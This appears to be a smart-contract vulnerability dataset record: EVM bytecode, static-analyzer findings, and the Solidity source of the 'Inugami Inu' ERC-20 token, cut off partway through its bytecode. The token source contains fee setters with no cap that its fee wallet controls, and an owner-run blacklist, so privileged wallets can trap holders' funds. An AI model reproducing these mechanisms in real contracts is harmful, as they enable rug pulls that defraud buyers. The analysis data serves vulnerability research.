15160096000888581518110151561293657fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461371190919063ffffffff16565b60096000878481518110151561299b57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555084818151811015156129f157fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8684815181101515612a5757fe5b906020019060200201516040518082815260200191505060405180910390a38080600101915050612900565b612ad582600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546136f890919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060019250505092915050565b6000806000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612b8557600080fd5b60008551118015612b97575083518551145b1515612ba257600080fd5b60009150600090505b8451811015612f545760008482815181101515612bc457fe5b90602001906020020151118015612c09575060008582815181101515612be657fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1614155b8015612c7c575060001515600b60008784815181101515612c2657fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b8015612cdd5750600c60008683815181101515612c9557fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b1515612ce857600080fd5b612d166305f5e1008583815181101515612cfe57fe5b9060200190602002015161372f90919063ffffffff16565b8482815181101515612d2457fe5b90602001906020020181815250508381815181101515612d4057fe5b90602001906020020151600960008784815181101515612d5c57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515612dae57600080fd5b612e2e8482815181101515612dbf57fe5b90602001906020020151600960008885815181101515612ddb57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546136f890919063ffffffff16565b600960008784815181101515612e4057fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612eb28482815181101515612e9957fe5b906020019060200201518361371190919063ffffffff16565b91503373ffffffffffffffffffffffffffffffffffffffff168582815181101515612ed957fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8684815181101515612f2857fe5b906020019060200201516040518082815260200191505060405180910390a38080600101915050612bab565b612fa682600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461371190919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060019250505092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561305157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561308d57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080841180156131ae575060001515600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b801561320a575060001515600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b80156132545750600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b801561329e5750600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b15156132a957600080fd5b6132b28561376a565b156136e25783600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561330557600080fd5b61335784600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546136f890919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506133ec84600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461371190919063ffffffff16565b600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff166000836040518082805190602001908083835b60208310151561347e5780518252602082019150602081019050602083039250613459565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390207c01000000000000000000000000000000000000000000000000000000009004903387876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828051906020019080838360005b8381101561355f578082015181840152602081019050613544565b50505050905090810190601f16801561358c5780820380516001836020036101000a031916815260200191505b50935050505060006040518083038185885af1935050505015156135ac57fe5b826040518082805190602001908083835b6020831015156135e257805182526020820191506020810190506020830392506135bd565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390208573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16876040518082815260200191505060405180910390a48473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3600190506136f0565b6136ed858585613b5c565b90505b949350505050565b600082821115151561370657fe5b818303905092915050565b600080828401905083811015151561372557fe5b8091505092915050565b60008060008414156137445760009150613763565b828402905082848281151561375557fe5b0414151561375f57fe5b8091505b5092915050565b600080823b905060008111915050919050565b60008083600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515156137ce57600080fd5b61382084600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546136f890919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506138b584600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461371190919063ffffffff16565b600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508490508073ffffffffffffffffffffffffffffffffffffffff1663c0ee0b8a3386866040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b838110156139bd5780820151818401526020810190506139a2565b50505050905090810190601f1680156139ea5780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b158015613a0b57600080fd5b505af1158015613a1f573d6000803e3d6000fd5b50505050826040518082805190602001908083835b602083101515613a595780518252602082019150602081019050602083039250613a34565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390208573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16876040518082815260200191505060405180910390a48473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a360019150509392505050565b600082600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515613bac57600080fd5b613bfe83600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546136f890919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613c9383600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461371190919063ffffffff16565b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816040518082805190602001908083835b602083101515613d0c5780518252602082019150602081019050602083039250613ce7565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390208473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16866040518082815260200191505060405180910390a48373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600190509392505050565b6000808284811515613e1c57fe5b04905080915050929150505600a165627a7a723058207b9114098ad8a87a957c11d9254a70daa87d242d3e3ee459714405161405aa2f0029
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
96
0xCd214bE756DE93Ab6Ac9De75c0971C6F0220ee29
/** * **/ //SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Inugami is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000000 * 10**9; address payable private _feeAddrWallet1 = payable(0x4Ec1F4079392BC38C46bFd0868042142318EF419); address payable private _feeAddrWallet2 = payable(0x4Ec1F4079392BC38C46bFd0868042142318EF419); uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1 = 5; uint256 private _feeAddr2 = 5; string private constant _name = "Inugami Inu"; string private constant _symbol = "INUGAMI"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[_feeAddrWallet2] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function setFeeAmountOne(uint256 fee) external { require(_msgSender() == _feeAddrWallet2, "Unauthorized"); _feeAddr1 = fee; } function setFeeAmountTwo(uint256 fee) external { require(_msgSender() == _feeAddrWallet2, "Unauthorized"); _feeAddr2 = fee; } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 50000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _isBuy(address _sender) private view returns (bool) { return _sender == uniswapV2Pair; } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101185760003560e01c8063715018a6116100a0578063b515566a11610064578063b515566a14610398578063c3c8cd80146103c1578063c9567bf9146103d8578063cfe81ba0146103ef578063dd62ed3e146104185761011f565b8063715018a6146102c5578063842b7c08146102dc5780638da5cb5b1461030557806395d89b4114610330578063a9059cbb1461035b5761011f565b8063273123b7116100e7578063273123b7146101f4578063313ce5671461021d5780635932ead1146102485780636fc3eaec1461027157806370a08231146102885761011f565b806306fdde0314610124578063095ea7b31461014f57806318160ddd1461018c57806323b872dd146101b75761011f565b3661011f57005b600080fd5b34801561013057600080fd5b50610139610455565b6040516101469190612bb9565b60405180910390f35b34801561015b57600080fd5b50610176600480360381019061017191906126ff565b610492565b6040516101839190612b9e565b60405180910390f35b34801561019857600080fd5b506101a16104b0565b6040516101ae9190612d3b565b60405180910390f35b3480156101c357600080fd5b506101de60048036038101906101d991906126b0565b6104c4565b6040516101eb9190612b9e565b60405180910390f35b34801561020057600080fd5b5061021b60048036038101906102169190612622565b61059d565b005b34801561022957600080fd5b5061023261068d565b60405161023f9190612db0565b60405180910390f35b34801561025457600080fd5b5061026f600480360381019061026a919061277c565b610696565b005b34801561027d57600080fd5b50610286610748565b005b34801561029457600080fd5b506102af60048036038101906102aa9190612622565b6107ba565b6040516102bc9190612d3b565b60405180910390f35b3480156102d157600080fd5b506102da61080b565b005b3480156102e857600080fd5b5061030360048036038101906102fe91906127ce565b61095e565b005b34801561031157600080fd5b5061031a6109ff565b6040516103279190612ad0565b60405180910390f35b34801561033c57600080fd5b50610345610a28565b6040516103529190612bb9565b60405180910390f35b34801561036757600080fd5b50610382600480360381019061037d91906126ff565b610a65565b60405161038f9190612b9e565b60405180910390f35b3480156103a457600080fd5b506103bf60048036038101906103ba919061273b565b610a83565b005b3480156103cd57600080fd5b506103d6610bd3565b005b3480156103e457600080fd5b506103ed610c4d565b005b3480156103fb57600080fd5b50610416600480360381019061041191906127ce565b6111af565b005b34801561042457600080fd5b5061043f600480360381019061043a9190612674565b611250565b60405161044c9190612d3b565b60405180910390f35b60606040518060400160405280600b81526020017f496e7567616d6920496e75000000000000000000000000000000000000000000815250905090565b60006104a661049f6112d7565b84846112df565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b60006104d18484846114aa565b610592846104dd6112d7565b61058d8560405180606001604052806028815260200161344b60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105436112d7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119889092919063ffffffff16565b6112df565b600190509392505050565b6105a56112d7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610632576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062990612c9b565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61069e6112d7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461072b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072290612c9b565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107896112d7565b73ffffffffffffffffffffffffffffffffffffffff16146107a957600080fd5b60004790506107b7816119ec565b50565b6000610804600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ae7565b9050919050565b6108136112d7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089790612c9b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661099f6112d7565b73ffffffffffffffffffffffffffffffffffffffff16146109f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ec90612bfb565b60405180910390fd5b80600c8190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f494e5547414d4900000000000000000000000000000000000000000000000000815250905090565b6000610a79610a726112d7565b84846114aa565b6001905092915050565b610a8b6112d7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0f90612c9b565b60405180910390fd5b60005b8151811015610bcf57600160066000848481518110610b63577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610bc790613051565b915050610b1b565b5050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c146112d7565b73ffffffffffffffffffffffffffffffffffffffff1614610c3457600080fd5b6000610c3f306107ba565b9050610c4a81611b55565b50565b610c556112d7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ce2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd990612c9b565b60405180910390fd5b600f60149054906101000a900460ff1615610d32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2990612d1b565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610dc530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce80000006112df565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610e0b57600080fd5b505afa158015610e1f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e43919061264b565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610ea557600080fd5b505afa158015610eb9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610edd919061264b565b6040518363ffffffff1660e01b8152600401610efa929190612aeb565b602060405180830381600087803b158015610f1457600080fd5b505af1158015610f28573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f4c919061264b565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610fd5306107ba565b600080610fe06109ff565b426040518863ffffffff1660e01b815260040161100296959493929190612b3d565b6060604051808303818588803b15801561101b57600080fd5b505af115801561102f573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061105491906127f7565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506a295be96e640669720000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611159929190612b14565b602060405180830381600087803b15801561117357600080fd5b505af1158015611187573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111ab91906127a5565b5050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111f06112d7565b73ffffffffffffffffffffffffffffffffffffffff1614611246576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123d90612bfb565b60405180910390fd5b80600d8190555050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561134f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134690612cfb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b690612c3b565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161149d9190612d3b565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561151a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151190612cdb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561158